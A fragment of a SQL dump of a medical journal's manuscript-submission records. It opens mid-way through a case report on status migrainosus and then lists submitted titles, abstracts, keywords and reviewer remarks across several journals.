headaches of the clenching type, accompanied by easy vomiting in spurts, requiring self-medication with paracetamol Cp 500mg and Ibuprofen 400mg, with no clinical improvement, and given the onset of dizziness; the patient decided to consult our department for treatment, hence the reason for her hospitalization.\r\nHistory :\r\nMedical: personal headache for 03 years\r\nSurgical: appendectomy 10 years ago \r\nFamily: Migraine in mother \r\nCollateral: Migraine in sister\r\nLifestyle: single; mother of one son; no alcohol or tobacco consumption; cereal and vegetable-based diet; no occupational stress.\r\nPhysical examination \r\nObjective: patient conscious, cooperative, integument and conjunctiva normo colored, general condition preserved, BP 130/80mmHg, pulse=68 pul/min, Spo2=98%, temperature=36.9°, fasting blood glucose=1.11g/l.\r\nNeurological examination\r\nConscious patient \r\nConscious patient \r\nSegmental muscle tone preserved in all 4 limbs \r\nOsteotendinous and cutaneoplantar reflexes normal\r\nNo sensory or coordination disorders (cerebellar; vestibular and proprioceptive)\r\nNo signs of meningeal or cranial nerve damage\r\nNo cognitive function disorders or sphincter disorders\r\nOn somatic examination: BDC were audible, regular and synchronous with the radial pulse, with no pathological noises added.\r\nExamination extended to other devices was also unremarkable.\r\nIn total, this 35-year-old right-handed patient with no history of migraine had the following neurological findings:\r\nIntracranial hypertension syndrome\r\nMigraine syndrome\r\nDiagnostic hypothesis :\r\nMigrainous malaise\r\nInfectious or non-infectious encephalitis\r\nMeningeal hemorrhage secondary to rupture of arteriovenous malformations \r\nCerebral venous thrombosis\r\nFurther investigations\r\n \r\nGiven the normality of the MRI angiogram, we performed a lumbar puncture at 3 days, which yielded macrospically a rock-clear fluid that was analyzed in the laboratory without any particularities (absence of germs and red blood cells, no proteinorrachia or glucorrachia below 0.4 g/l).\r\nBiology\r\nHb: 1.12g/l TPHA/VDRL negative; SRV: negative; Urea=90mmol/l; Creat=120mmol/l; VS=20mm/1st hour; CRP=positive: Ge at 1ch/l \r\nIonogram: Na+=142mmol/l ; k+=3.6 mmol/l ; CL-=96 mmol/ ; Ca=92mmol/l\r\nMg2+=18mmol/l\r\nTreatment \r\nSaline 0.9% 500ml 1fl x2 for 3 days\r\nPerfalgan 1g every 6h\r\nPrimpéran inj 1amp every 08h\r\nOmeprazol 20mg 1cp/evening\r\nLaroxyl 25mg 1cp/evening then 1cp morning and evening\r\nProgression: At 3 days, the patient showed clinical improvement marked by regression of headache intensity. At 8 days, the patient was discharged after complete headache regression, with a discharge prescription based on ibuprofen 400mg for attacks and Avlocardyl 40mg 1cp in the evening for background treatment.\r\nDiscussion\r\nMigrainous malaise is a rare complication of migraine and is rarely reported in the literature. \r\nWe report the case of a 35-year-old woman who consulted our department for refractory headaches lasting more than 72 hours and vomiting. \r\nIn the literature, migraine is 3 times more frequent in women than in men [11].\r\nThis predominance may be explained by the rapid and significant fall in estrogen and progesterone levels during menstruation, following luteolysis [14].  This drop could be one of the causes of migraines in women.\r\nSeveral studies report that the age of 30 to 45 years is a risk factor; our patient is included in this age bracket [11].\r\nThe reasons for consultation correspond to the criteria dictated by the International headach society [5].\r\nThe history of the disease reports the progressive onset of intense unilateral headache, followed by bilateral headache within 2 hours, accompanied by easy vomiting in jet form, resistant to analgesics and anti-inflammatories.\r\nThis clinical description of the signs is echoed in the study by Dumas et al. who reported the same set-up procedures [2].\r\nOur patient reported a family history of migraine in her mother and sister. This family history was also found in the cases reported by D\'Annequin and B Tourniaire [5].\r\nAlthough migraine is often hereditary, it is often under-reported, since 1/3 of patients presenting with migraine in adulthood are unaware that they have the disease. \r\nOur patient was a single mother of a live-born son who did not drink or smoke.\r\nNeurological examination revealed no particularities.\r\nD Valade [4] found no particularities on neurological examination.\r\nThe absence of localization signs could be explained by the fact that the disease does not completely alter neuronal functions, even if auras sometimes manifest as transient ischemic attacks. \r\nDelayed diagnosis and management may favour the development of stroke [4].\r\nWe carried out an angio-MRI scan, which proved normal.\r\n\r\nAngio-MRI, lumbar puncture and blood tests enabled us to rule out :\r\ninfectious or non-infectious encephalitis \r\nArteriovenous malformation\r\nCerebral venous thrombosis\r\nThe diagnosis of migraine was made on the basis of epidemiological, clinical and therapeutic arguments.\r\nDuring hospitalization, she was treated with Laroxl 25mg 2CP/J peros; primperan 2amp/d morning and evening and 1l/d hydration.\r\nThe evolution was marked by a complete regression of symptoms after 5 days of hospitalization, and the patient was discharged with a background treatment of tricyclic antidepressants, analgesics and benzodiazepines.                \r\nCONCLUSION \r\nAlthough migrainous malaise is rare, it is a complication of migraine without aura that is difficult to manage, especially in countries with limited health resources [5].\r\nThe clinical picture is dominated by intense headaches lasting more than 72 hours and resistant to anti-migraine treatment, associated with vomiting.\r\nDiagnosis is based on the criteria of the International Headeach Society [4].\r\nManagement is in a specialized setting, with the introduction of sumatriptan-based hydration and a tricyclic antidepressant.\r\nA forthcoming study based on the evolution of seizures under treatment will clarify the short-, medium- and long-term prognosis in our context.\r\n','etat de mal migraineux,CHU de REFERENCE DE NDJAMENA',329,NULL,'2024-05-14',NULL,'Submitted',15,NULL,'2024-05-15',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14848,14848,326,0,'IPJUS-24-14848','Thyroid surgery by robotics',NULL,12,0,'','','',59102,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14849,14848,326,0,'IPJUS-24-14849','Success rate of  varicose vein surgery',NULL,12,0,'','','',59148,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14850,14849,86,0,'ipaom-24-14850','Renal Medicine: Exploring Kidney Health, Disorders, and Treatment Strategies',NULL,5,0,'','Renal medicine, or nephrology, is a discipline dedicated to understanding kidney health, diagnosing disorders, and implementing effective treatment strategies. This article provides an overview of kidney function, common disorders such as chronic kidney disease, acute kidney injury, kidney stones, glomerulonephritis, and polycystic kidney disease, and explores innovative treatment approaches including medication, lifestyle modifications, dialysis, and kidney transplantation. By delving into the complexities of renal medicine, healthcare professionals can optimize patient care and improve outcomes for individuals with kidney disorders.','Renal Medicine; Kidney Health; Treatment Strategies; remarkable organs; diagnosis; kidney health',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14851,14850,86,0,'ipaom-24-14851','Emerging Threat: De Novo Malignancies Post Kidney Transplantation',NULL,5,0,'','De novo malignancies following kidney transplantation pose a growing concern in clinical practice. While advancements in immunosuppressive regimens have improved graft survival, they also heighten the risk of malignancy development. This review summarizes the epidemiology, risk factors, pathogenesis, and management strategies for de novo malignancies post kidney transplantation. Understanding these factors is crucial for optimizing long-term outcomes in transplant recipients.','Kidney transplantation; life-saving procedure; renal disease; long-term graft; patient survival',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14852,14851,86,0,'ipaom-24-14852','Robotic Cardiac Surgery: Tracing the Path of Technological Advancement',NULL,5,0,'','The trajectory of technological advancements in robotic cardiac surgery, tracing its evolution from early developments to contemporary state-of-the-art techniques. By examining key milestones, challenges, and innovations, it elucidates the transformative impact of robotics on cardiac surgical procedures, including improved precision, reduced invasiveness, and enhanced patient outcomes. Through a comprehensive review of literature and case studies, this paper offers insights into the current landscape and future directions of robotic cardiac surgery, highlighting its potential to revolutionize cardiovascular care.','revolutionize cardiovascular care ; robotic cardiac surgery; medical science; surgical precision',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14853,14852,86,0,'ipaom-24-14853','Intrinsic Kidney Pathology: Exploring the Inner Landscape of Renal Disorders',NULL,5,0,'','The kidneys play a vital role in maintaining homeostasis within the body, filtering waste products and regulating electrolyte balance. Intrinsic kidney pathology encompasses a diverse array of disorders, ranging from glomerular diseases to tubulointerstitial nephritis and vascular disorders. Understanding the intricate inner landscape of renal disorders involves unraveling the complex interactions between genetic predisposition, environmental factors, and immune dysregulation. This abstract provides a brief overview of intrinsic kidney pathology, highlighting key mechanisms underlying renal dysfunction and paving the way for targeted therapeutic interventions.','renal dysfunction; therapeutic interventions; kidney pathology; tubulointerstitial nephritis; vascular disorders; regulating electrolyte balance',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14854,14853,86,0,'ipaom-24-14854','Precision Medicine: Pioneering Personalized Healthcare Solutions',NULL,5,0,'','','Precision Medicine; medical treatment; personalized medicine; targeted therapy; advanced technologies; diagnose',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14855,14854,86,0,'ipaom-24-14855','Exploring the Diagnostic Potential of Cell-Free DNA in Renal Cell Carcinoma: A Promising Avenue for Early Detection and Personalized Medicine',NULL,5,0,'','','Personalized Medicine; Renal Cell Carcinoma; surgical procedures; personalized management; biological behaviors',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14856,14855,86,0,'ipaom-24-14856','Renal Riddles: Understanding the Enigma of Chronic Kidney Disease',NULL,5,0,'','','Renal Medicine; Chronic Kidney Disease; etiology; multifaceted condition; enigma of CKD; healthcare',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14857,14856,86,0,'ipaom-24-14857','Exploring the Potential of Intra-Renal Arterial Infusion: A Novel Approach in Renal Therapeutics',NULL,5,0,'','','Intra-Renal Arterial Infusion; Clinical Medicine human body; affected renal tissue; Conventional treatments; oral medications',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14858,14857,86,0,'ipaom-24-14858','Crystal Insights: Exploring Acute Kidney Injury through Raman Spectroscopy',NULL,5,0,'','','Kidney Injury; Acute Kidney; Raman Spectroscopy; healthcare; environmental factors; diagnosis',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14859,14858,86,0,'ipaom-24-14859','Exploring the Cellular Dynamics of Renal Cell Carcinomas: Insights and Implications',NULL,5,0,'','','Renal cell carcinoma; kidneys; cancers; intricate cellular mechanisms; health concern; diagnosis',5013,NULL,'2024-05-15',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14860,14859,326,0,'IPJUS-24-14860','Use of regional anesthesia in outpatient surgery',NULL,12,0,'','','',59144,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14861,14860,326,0,'IPJUS-24-14861','Approach to endometriosis surgery',NULL,12,0,'','','',5413,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14862,14860,326,0,'IPJUS-24-14862','Hip Surgery in north America patients',NULL,12,0,'','','',59207,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14863,14861,326,0,'IPJUS-24-14863','Minimally invasive surgery approach for periodontal regeneration',NULL,12,0,'','','',3103,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14864,14862,326,0,'IPJUS-24-14864','Surgical Methods for cancer treatments',NULL,12,0,'','','',3103,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14865,14863,326,0,'IPJUS-24-14865','Outcomes of post hip fracture surgery',NULL,12,0,'','','',59207,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14866,14864,326,0,'IPJUS-24-14866','Placebo for Fibroid Treatment before Surgery',NULL,12,0,'','','',59109,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14867,14865,326,0,'IPJUS-24-14867','Satisfaction after surgical treatment for Idopathic surgery',NULL,12,0,'','','',59150,NULL,'2024-05-15',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14868,14866,975,0,'ipjbs-24-14868','The Evolution of Biomedical Imaging: Revolutionizing Healthcare',NULL,12,0,'','','',5410,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14869,14867,975,0,'ipjbs-24-14869','Biosensors: Pioneering Technologies for Healthcare and Beyond',NULL,12,0,'','','',59094,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14870,14868,975,0,'ipjbs-24-14870','Exploring Biocompatibility: The Key to Successful Medical Implants and Devices',NULL,12,0,'','','',59256,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14871,14869,975,0,'ipjbs-24-14871','Exploring Gastroenterology: Understanding the Complexities of Digestive Health',NULL,3,0,'','','',59180,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14872,14870,975,0,'ipjbs-24-14872','Exploring Tropical Medicine: Understanding Diseases of the Tropics',NULL,3,0,'','','',59257,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14873,14871,975,0,'ipjbs-24-14873','Advancing Healthcare with Personalized Treatment: The Precision Medicine Revolution',NULL,12,0,'','','',59257,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14874,14872,975,0,'ipjbs-24-14874','Clinical Genetics: Revealing the Secrets of Inherited Disorders',NULL,12,0,'','','',59127,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14875,14873,975,0,'ipjbs-24-14875','Stem Cell Research: Exploring the Frontier of Regenerative Medicine',NULL,12,0,'','','',59220,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14876,14874,975,0,'ipjbs-24-14876','Bioinformatics: Revolutionizing Biological Research',NULL,3,0,'','','',59183,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14877,14875,975,0,'ipjbs-24-14877','Biostatistics: Enhancing Healthcare through Data Analysis',NULL,3,0,'','','',59142,NULL,'2024-05-16',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14878,14876,91,0,'ijddr-24-14878','Formulation and Evaluation of nanoemulsion for topical drug delivery system using model drug',NULL,14,0,'','Nanoemulsion is an advanced mode of drug delivery system has been formulated and developed to overcome the major drawbacks associated with conventional drug delivery systems. Nanoemulsions are submicron emulsion, nanosized emulsions, which are manufactured for improving the delivery of active pharmaceutical ingredients. These are transparent and thermodynamically stable isotropic system in which two immiscible liquids are mixed to form a single phase by means of an emulsifying agent, surfactant and co-surfactant. The droplet size of nanoemulsion is in the range 10–1000 nm. The main difference between emulsion and nanoemulsion lies in the size and shape of particles dispersed in the continuous phase. In this formulation Span 40 act as an oil phase and transcutol p act as an aqueous phase. As per Placket Burman DoE F15 Formulations were Developed using independent variables concentration of oils, surfactant and co-surfactant. Formulations F1 to F15 were formulated using span 40, Isopropyl myristate and transcutol p. Nanoemulsion was characterized for various parameters like, viscosity, Density, pH, drug content, surface morphology, Particle size determination, and drug diffusion release study. The optimized formulation F6 and F9 showed 88.75 % and 82.5 % drug release in 4 hrs. Desired viscosity and ph. This outcome signified its potential suitability as a carrier for effectively administration of naproxen through topical delivery. Viscosity and density 33.6 cc and 0.97 g/cc respectively.','Nanoemulsion, Oil, Surfactant, Co-surfactant.',59095,NULL,'2024-05-16',NULL,'Submitted',14,NULL,'2024-05-29',NULL,1,1,'1','proceed for publication',0,'','',NULL,0,0,0,NULL,0),(14879,14877,277,0,'ipadm-24-14879','Breaking Boundaries: The Ever-Evolving Landscape of Medical Research',NULL,19,0,'','','',2805,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14880,14878,277,0,'ipadm-24-14880','Unveiling Truths: Navigating the Complexities of Clinical Studies',NULL,2,0,'','','',5023,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14881,14879,277,0,'ipadm-24-14881','Exploring the Frontiers: Advancements and Challenges in Health Sciences',NULL,11,0,'','','',5022,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14882,14880,277,0,'ipadm-24-14882','Navigating the Path to Wellness: Strategies in Disease Management',NULL,12,0,'','','',2805,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14883,14881,277,0,'ipadm-24-14883','Exploring Healing Pathways: Treatment Modalities in Modern Healthcare',NULL,2,0,'','','',2805,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14884,14882,277,0,'ipadm-24-14884','Unlocking Insights: The Evolution of Diagnostic Techniques in Healthcare',NULL,2,0,'','','',2805,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14885,14883,277,0,'ipadm-24-14885','Empoderar la curación: la diversidad de intervenciones terapéuticas en la atención sanitaria',NULL,25,0,'','','',2805,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14886,14884,277,0,'ipadm-24-14886','Desentrañar patrones: el papel de la epidemiología en la comprensión de las tendencias de salud',NULL,19,0,'','','',2805,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14887,14885,277,0,'ipadm-24-14887','Empoderar a las comunidades: el papel vital de la salud pública en la promoción del bienestar',NULL,19,0,'','','',2805,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-17',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14888,14886,959,0,'ipacr-24-14888','Exploring Histopathology: Unveiling the Secrets of Tissue Diagnosis',NULL,3,0,'','','',59260,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14889,14887,959,0,'ipacr-24-14889','Preserving Health: The Significance of Epidemiological Archives',NULL,3,0,'','','',59261,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14890,14888,959,0,'ipacr-24-14890','Decoding Cancer Metabolism: Unraveling the Intricacies of Tumor Nutrition',NULL,12,0,'','','',59262,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14891,14889,959,0,'ipacr-24-14891','Embracing Life after Cancer: The Role of Survivorship Archives',NULL,3,0,'','','',5428,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14892,14890,959,0,'ipacr-24-14892','Advancements in Cancer Imaging: Illuminating the Path to Early Detection and Precision Medicine',NULL,12,0,'','','',5428,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14893,14891,959,0,'ipacr-24-14893','The Power of Data: Exploring Cancer Registry Archives',NULL,12,0,'','','',5428,NULL,'2024-05-17',NULL,'Submitted',15,NULL,'2024-05-20',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14894,14892,45,0,'iphsj-24-14894','EFFECTIVENESS OF ICE COLD NORMAL SALINE WITH MENTHOL ON THIRST RELIEF AMONG POST OPERATIVE PATIENTS',NULL,14,0,'','Background: Thirst is a frequent and important cause of pain in patients who have had operative operations and are being held nil by mouth. Consequently, among postoperative patients, thirst has been shown to be one of the most common, intense, and untreated complaints. Strategies involving ice cold saline along with menthol, which target pre-absorptive processes, are beneficial in relieving thirst. The purpose of this study is to determine how effectively menthol and ice cold work to relieve patients\' postoperative thirst. Materials and method: A true-experimental study with evaluative approach was conducted among 60 post operative patients using simple random sampling technique with the degree of thirst and its discomfort being measured simultaneously early stages and thereafter. In this study, control group participants received placebo whereas, experimental group received ice cold normal saline with menthol drop. Results: The experiment revealed differences between the pre- and post-intervention phases in the level of discomfort and distress of thirst. In postoperative patients, a statistically significant correlation was discovered between the demographic variables, and the intensity of thirst. Conclusion: Reduced post-operative thirst was shown to be much aided by ice cold normal saline with menthol drop. the result is found to be statistically difference at level of 0.05. \r\n','Surgery,  thirst, nil by mouth, postoperative patients, ice cold normal saline with menthol.\r\n',456,NULL,'2024-05-18',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'0','I recommend publishing your article',0,'','',NULL,0,0,0,NULL,0),(14895,14893,45,0,'iphsj-24-14895','CERVICAL CANCER STATUS, KNOWLEDGE, ATTITUDE AND ASSOCIATED FACTORS AMONG REPRODUCTIVE AGE WOMEN RESIDING IN HARGEISA, SOMALILAND',NULL,14,0,'','Introduction: Cervical cancer results from a Human Papilloma Virus (HPV) infection. Seventy (70%) cervical cancers and pre-cancerous cervical lesions are attributed to HPV types 16 and 18. In low- and middle-income countries (LMICs), there is poor awareness and limited access to preventative measures, and cervical cancer is often diagnosed at a late stage when women develop metastatic symptoms. In addition, access to treatment for cancerous lesions is also limited, resulting in a higher rate of death from cervical cancer. In Somaliland, there is very limited information concerning cervical cancer awareness and associated factors in the community.\r\nObjective: To determine the overall status of knowledge, attitude, and associated factors of cervical cancer among reproductive-aged women residing in Hargeisa, Somaliland.\r\nMethods: We conducted a cross-sectional survey among reproductive-age women residing in Hargeisa, Somaliland. A structured questionnaire was developed, and we interviewed 270 women. Moreover, a record review of two hospitals in Hargeisa that were involved in cervical cancer screening was conducted. Data were entered into SPSS version 23, and descriptive and advanced statistical analysis were run. Proportions, mean scores, and standard deviations were calculated, and chi-square statistics were run to determine associations. A P-value of less than 0.05 was considered statistically significant. Results were presented in text and tables.\r\nResults: The mean age of the study participants was 29 (SD 7.6). We found that less than half of the participants, 118 (43.7%), had good knowledge about the risk factors and symptoms of cervical cancer. Moreover, 125 (46.3%) of the study participants have a positive attitude towards the risk factors and symptoms of cervical cancer. All the study participants have heard about cervical cancer. Their age, monthly income, and educational status were found to have a statistically significant association with the knowledge of the respondents, with p-values of 0.004, 0.023, and 0.001, respectively. Moreover, the age of the respondents, educational status, marital status, and status of children were found to have a statistically significant association with the attitude of the participants, with a p-value of 0.002, 0.001, 0.003, and 0.001, respectively.\r\nConclusion: The overall knowledge and attitude toward cervical cancer screening are low. Age, monthly income, educational status, and marital status are the factors associated with knowledge and attitude towards cervical cancer. There is a need to promote, educate, and encourage women to undergo early cervical cancer screening by informing them of their susceptibility to cervical cancer. In addition to health education, availing of free screening services and free vaccines will improve cervical cancer prevention','Cervical cancer, Knowledge, Attitude, Hargeisa, Somaliland',3202,NULL,'2024-05-19',NULL,'Submitted',2,NULL,'2024-05-27',NULL,1,1,'0','I recommend publishing this article',0,'','',NULL,0,0,0,NULL,0),(14896,14894,73,0,'ipjnn-24-14896','Development of risk prediction model ChatGPT’s Ability to Diagnose Example Brain Tumors',NULL,3,1,'Current neurology and neuroscience report','','',327,NULL,'2024-05-20',NULL,'Submitted',15,NULL,'2024-05-21',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14897,14894,73,0,'ipjnn-24-14897','The Principle of MRI for carotid artery pseudo-occlusion and occlusion: Hybrid revascularization pilot study',NULL,3,1,'Current neurology and neuroscience report','','',327,NULL,'2024-05-24',NULL,'Submitted',15,NULL,'2024-05-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14898,14894,73,0,'ipjnn-24-14898','The principles of Multiple Sclerosis: Current Insights and Future Perspectives',NULL,25,1,'Current neurology and neuroscience report','','',327,NULL,'2024-05-24',NULL,'Submitted',15,NULL,'2024-05-24',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14899,14895,639,0,'ipfs-24-14899','Exploring the Depths of Aquatic Biotechnology: Harnessing Nature\'s Potential for Sustainable Aquaculture',NULL,12,0,'','','',59157,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14900,14895,639,0,'ipfs-24-14900','Breeding Brilliance: Unlocking the Potential of Fish Breeding for Sustainable Aquaculture',NULL,12,0,'','','',59190,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14901,14896,639,0,'ipfs-24-14901','Preserving Precious Ecosystems: Exploring the Intricacies of Fish Habitat Conservation',NULL,12,0,'','','',59191,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14902,14896,639,0,'ipfs-24-14902','Navigating the Currents: Understanding the Fascinating World of Fish Migration',NULL,12,0,'','','',1771,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14903,14897,639,0,'ipfs-24-14903','Navigating Troubled Waters: Understanding the Impacts of Climate Change on Fisheries',NULL,12,0,'','','',59240,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14904,14897,639,0,'ipfs-24-14904','Navigating the Waters of Sustainable Fishery Development: Building Resilient Communities and Healthy Ecosystems',NULL,12,0,'','','',1774,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14905,14898,639,0,'ipfs-24-14905','Unraveling the Fishery Value Chain: From Sea to Plate',NULL,12,0,'','','',1771,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14906,14898,639,0,'ipfs-24-14906','Navigating the Waters: Understanding Fishery Risk Assessment for Sustainable Management',NULL,12,0,'','','',1774,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14907,14899,639,0,'ipfs-24-14907','Nurturing Future Fisheries: The Art and Science of Larviculture',NULL,12,0,'','','',1777,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14908,14899,639,0,'ipfs-24-14908','Unraveling the Depths: The Importance of Fishery Data Collection in Sustainable Management',NULL,12,0,'','','',1774,NULL,'2024-05-27',NULL,'Submitted',15,NULL,'2024-05-27',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14909,14900,639,0,'ipfs-24-14909','Research Opportunity in Developing Floating Flexible Tanks for Fish Farming',NULL,17,0,'Volume 18 Issue 3','Fish farming in novel floating flexible containments is a promising proposition to minimise the CAPEX of the current floating closed containment tank technology. Floating tanks have tangible benefits over the use of open net cages and a lower CAPEX should incentivise fish farmers to adopt this technology faster. This short-communication suggests future research activities focusing on understanding and predicting the structural responses and the associated stresses in the flexible bag material with the view to optimise and improve flexible containment tank designs. ','Closed containment tanks, Fish farming, Flexible bags, Research opportunities',1781,NULL,'2024-05-28',NULL,'Submitted',15,NULL,'2024-05-29',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14910,13049,251,0,NULL,'Investigation of common catheter infections in bone marrow transplant patients in Baqaei 2 Hospital, Ahvaz',NULL,14,0,'','Background. Bone marrow transplant patients often rely on catheters for various medical 